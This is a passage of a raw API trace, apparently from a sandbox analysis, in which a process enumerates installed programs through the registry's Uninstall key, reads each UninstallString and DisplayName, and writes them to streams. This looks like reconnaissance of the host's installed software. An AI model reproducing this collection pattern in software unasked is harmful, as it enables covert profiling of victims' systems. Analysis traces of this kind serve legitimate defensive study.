lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.201] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.201] RegCloseKey (hKey=0x108) returned 0x0 [0068.201] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.201] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.201] RegCloseKey (hKey=0x108) returned 0x0 [0068.201] LocalFree (hMem=0x626e60) returned 0x0 [0068.201] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xb, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.201] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.202] lstrlenA (lpString="\\") returned 1 [0068.202] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.202] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.202] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.202] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.202] lstrlenA (lpString="IEData") returned 6 [0068.202] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x626e60 [0068.202] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.202] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="IEData" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData" [0068.202] LocalFree (hMem=0x62b230) returned 0x0 [0068.202] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.202] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.202] RegCloseKey (hKey=0x108) returned 0x0 [0068.202] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.202] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.202] RegCloseKey (hKey=0x108) returned 0x0 [0068.202] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.203] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.203] RegCloseKey (hKey=0x108) returned 0x0 [0068.203] LocalFree (hMem=0x626e60) returned 0x0 [0068.203] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xc, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.203] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.203] lstrlenA (lpString="\\") returned 1 [0068.203] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.203] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.203] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.203] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.203] lstrlenA (lpString="MobileOptionPack") returned 16 [0068.203] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x626e60 [0068.203] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.203] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="MobileOptionPack" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack" [0068.203] LocalFree (hMem=0x62b230) returned 0x0 [0068.203] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.203] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.203] RegCloseKey (hKey=0x108) returned 0x0 [0068.203] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.204] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.204] RegCloseKey (hKey=0x108) returned 0x0 [0068.204] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MobileOptionPack", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.204] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.204] RegCloseKey (hKey=0x108) returned 0x0 [0068.204] LocalFree (hMem=0x626e60) returned 0x0 [0068.204] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xd, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0 (x86 en-US)", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.204] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.204] lstrlenA (lpString="\\") returned 1 [0068.204] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.204] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.204] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.204] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.204] lstrlenA (lpString="Mozilla Firefox 25.0 (x86 en-US)") returned 32 [0068.204] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x626e60 [0068.204] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.204] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Mozilla Firefox 25.0 (x86 en-US)" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)" [0068.204] LocalFree (hMem=0x62b230) returned 0x0 [0068.204] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.205] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x38) returned 0x0 [0068.205] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x62b230 [0068.205] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62b230, lpcbData=0x12ef10*=0x38 | out: lpType=0x0, lpData=0x62b230*=0x22, lpcbData=0x12ef10*=0x38) returned 0x0 [0068.205] RegCloseKey (hKey=0x108) returned 0x0 [0068.205] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62b230*=0x22, cb=0x38, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x38) returned 0x0 [0068.205] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.205] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62b230 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x21) returned 0x0 [0068.205] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x629248 [0068.205] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12ef0c*=0x21 | out: lpType=0x0, lpData=0x629248*=0x4d, lpcbData=0x12ef0c*=0x21) returned 0x0 [0068.205] RegCloseKey (hKey=0x108) returned 0x0 [0068.205] lstrlenA (lpString="Mozilla Firefox 25.0 (x86 en-US)") returned 32 [0068.205] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x4d, cb=0x20, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x20) returned 0x0 [0068.205] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x629248*=0x4d, cb=0x21, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x21) returned 0x0 [0068.205] LocalFree (hMem=0x629248) returned 0x0 [0068.205] LocalFree (hMem=0x62b230) returned 0x0 [0068.205] LocalFree (hMem=0x626e60) returned 0x0 [0068.205] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xe, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MozillaMaintenanceService", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.206] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.206] lstrlenA (lpString="\\") returned 1 [0068.206] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x62b230 [0068.206] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.206] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.206] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.206] lstrlenA (lpString="MozillaMaintenanceService") returned 25 [0068.206] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x627248 [0068.206] lstrcpyA (in: lpString1=0x627248, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.206] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="MozillaMaintenanceService" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService" [0068.206] LocalFree (hMem=0x62b230) returned 0x0 [0068.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.206] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x3d) returned 0x0 [0068.206] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x62b230 [0068.206] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62b230, lpcbData=0x12ef10*=0x3d | out: lpType=0x0, lpData=0x62b230*=0x22, lpcbData=0x12ef10*=0x3d) returned 0x0 [0068.206] RegCloseKey (hKey=0x108) returned 0x0 [0068.206] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62b230*=0x22, cb=0x3d, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x3d) returned 0x0 [0068.206] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.207] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62b230 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x1c) returned 0x0 [0068.207] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x624f80 [0068.207] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x624f80, lpcbData=0x12ef0c*=0x1c | out: lpType=0x0, lpData=0x624f80*=0x4d, lpcbData=0x12ef0c*=0x1c) returned 0x0 [0068.207] RegCloseKey (hKey=0x108) returned 0x0 [0068.207] lstrlenA (lpString="MozillaMaintenanceService") returned 25 [0068.207] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x4d, cb=0x19, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x19) returned 0x0 [0068.207] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x624f80*=0x4d, cb=0x1c, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x1c) returned 0x0 [0068.207] LocalFree (hMem=0x624f80) returned 0x0 [0068.207] LocalFree (hMem=0x62b230) returned 0x0 [0068.207] LocalFree (hMem=0x627248) returned 0x0 [0068.207] RegEnumKeyExA (in: hKey=0x104, dwIndex=0xf, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MPlayer2", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.207] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.207] lstrlenA (lpString="\\") returned 1 [0068.207] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626b98 [0068.207] lstrcpyA (in: lpString1=0x626b98, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.207] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.207] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.207] lstrlenA (lpString="MPlayer2") returned 8 [0068.207] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x62b230 [0068.207] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.208] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="MPlayer2" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2" [0068.208] LocalFree (hMem=0x626b98) returned 0x0 [0068.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.208] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x0, lpData=0x0, lpcbData=0x12ef10*=0x0) returned 0x2 [0068.208] RegCloseKey (hKey=0x108) returned 0x0 [0068.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12eee8 | out: phkResult=0x12eee8*=0x108) returned 0x0 [0068.208] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eee0, lpData=0x0, lpcbData=0x12eee4*=0x12eecc | out: lpType=0x12eee0*=0x0, lpData=0x0, lpcbData=0x12eee4*=0x0) returned 0x2 [0068.208] RegCloseKey (hKey=0x108) returned 0x0 [0068.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MPlayer2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12eebc | out: phkResult=0x12eebc*=0x108) returned 0x0 [0068.208] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12eeb4, lpData=0x0, lpcbData=0x12eeb8*=0x12eea0 | out: lpType=0x12eeb4*=0x0, lpData=0x0, lpcbData=0x12eeb8*=0x0) returned 0x2 [0068.208] RegCloseKey (hKey=0x108) returned 0x0 [0068.208] LocalFree (hMem=0x62b230) returned 0x0 [0068.208] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x10, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Office14.PRJPROR", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.208] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.208] lstrlenA (lpString="\\") returned 1 [0068.208] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626b98 [0068.209] lstrcpyA (in: lpString1=0x626b98, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.209] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.209] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.209] lstrlenA (lpString="Office14.PRJPROR") returned 16 [0068.209] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x62b230 [0068.209] lstrcpyA (in: lpString1=0x62b230, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.209] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="Office14.PRJPROR" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PRJPROR") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PRJPROR" [0068.209] LocalFree (hMem=0x626b98) returned 0x0 [0068.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PRJPROR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.209] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0x7f) returned 0x0 [0068.209] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626e60 [0068.209] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef10*=0x7f | out: lpType=0x0, lpData=0x626e60*=0x22, lpcbData=0x12ef10*=0x7f) returned 0x0 [0068.209] RegCloseKey (hKey=0x108) returned 0x0 [0068.209] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626e60*=0x22, cb=0x7f, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x7f) returned 0x0 [0068.209] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Office14.PRJPROR", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.209] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626e60 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x24) returned 0x0 [0068.210] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x629248 [0068.210] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12ef0c*=0x24 | out: lpType=0x0, lpData=0x629248*=0x4d, lpcbData=0x12ef0c*=0x24) returned 0x0 [0068.210] RegCloseKey (hKey=0x108) returned 0x0 [0068.210] lstrlenA (lpString="Office14.PRJPROR") returned 16 [0068.210] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x4f, cb=0x10, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x10) returned 0x0 [0068.210] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x629248*=0x4d, cb=0x24, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x24) returned 0x0 [0068.210] LocalFree (hMem=0x629248) returned 0x0 [0068.210] LocalFree (hMem=0x626e60) returned 0x0 [0068.210] LocalFree (hMem=0x62b230) returned 0x0 [0068.210] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x11, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Office14.PROPLUSR", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.210] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.210] lstrlenA (lpString="\\") returned 1 [0068.210] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626bd0 [0068.210] lstrcpyA (in: lpString1=0x626bd0, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.210] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.210] lstrlenA 